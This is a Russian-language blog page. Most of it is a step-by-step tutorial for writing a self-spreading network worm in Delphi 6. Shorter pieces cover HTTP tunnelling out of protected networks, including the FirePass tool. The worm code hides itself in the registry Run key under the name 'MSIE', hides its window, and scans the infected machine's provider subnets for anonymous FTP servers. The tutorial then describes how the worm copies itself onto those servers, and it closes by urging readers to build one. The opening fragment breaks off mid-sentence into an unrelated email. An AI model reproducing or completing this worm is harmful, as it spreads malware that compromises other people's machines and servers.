4.Нет уверенности, что сигнатура будет совпадать с чем-то иным, нужна устойчивая
схема определения СВОИХ данных, и система повтора отправки данных, грубо говоря
нужна разработка целого протокола.

Рассмотрим решения проблемм.
Анализ канала передачи должно сводиться к созданию единого универсального
запроса (unicode пока не учитываем) состоящего из 256 байт.
Результатом должно быть сообщение с вырезанными символами, либо отрицательный
результат. Если результат есть, тогда тогда исключаются символы в радиусе до 2^x
где x Вы писали 12 января 2004 г., 9:57:08:
jmr> слушай, мог бы ты рассказать историю написания проекта FirePass.
jmr> Я пишу небольшую статью про этот вопрос, буду рад любой исторически важной
jmr> информации, а и технической особенно.

http://gray-world.net/projects/firepass/ : firepass README - english
http://www.hackzona.ru/modules.php?name … mp;sid=433 : мини
статья с void.ru - русский язык. 3 параграф посвящен firepass.

Ключевая особенность firepass или зачем он был написан : на самом деле
это концептуальная программа, демонстрирующая возможность
туннелирования произвольных сессий базирующихся на TCP или UDP
в протоколе уровня приложений - HTTP. Программа уникальна тем, что
серверная часть реализована как CGI скрипт, как следствие не
требуется "слушать" какой-либо порт на компьютере-сервере. Аналоги
такой архитектуры туннеля могут существовать, но мне не известны.

Все что надо для того, чтобы "пробить" туннель из-за защищенной сети
наружу с использованием firepass и HTTP - это иметь снаружи веб сервер
и возможность доступа к его /cgi-bin (любой хостинг провайдер?)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

Рубрики:  ЮМОР
SOFT
МЫСЛИ ВСЛУХ

Метки:  

,,,,,,,,,,,,,,,,

Дневник

Воскресенье, 04 Марта 2007 г. 17:17 + в цитатник

...Давай сегодня напишем своего сетевого червя? Тебе по любому хотелось иметь такую зверушку! Сегодня я тебе в этом помогу! Писать мы будем на Delphi6. Наш червь будет распространяться через ftp сервера с анонимным входом. Итак, поехали! Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк
public
{ Public declarations }
end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы.
Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:
var
Form1: TForm1;
ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:
function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP)
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;
Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:
var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;
После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт.
Далее нам нужно распространить копии червя по всем имеющимся в списке ftp-серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:
NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);
После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.
Папка меняется кодом NMFTP.ChangeDir(имя_папки);
Закачка файлов происходит следующим образом:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Если поработать головой, то можно за 30 минут написать червя который ещё и все папки найдёт, на фтп, в которых запись разрешена.
Вообщем дерзайте! Удачи!

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Рубрики:  ЮМОР
SOFT
МЫСЛИ ВСЛУХ

Метки:  

 Страницы: [4] 3 2 1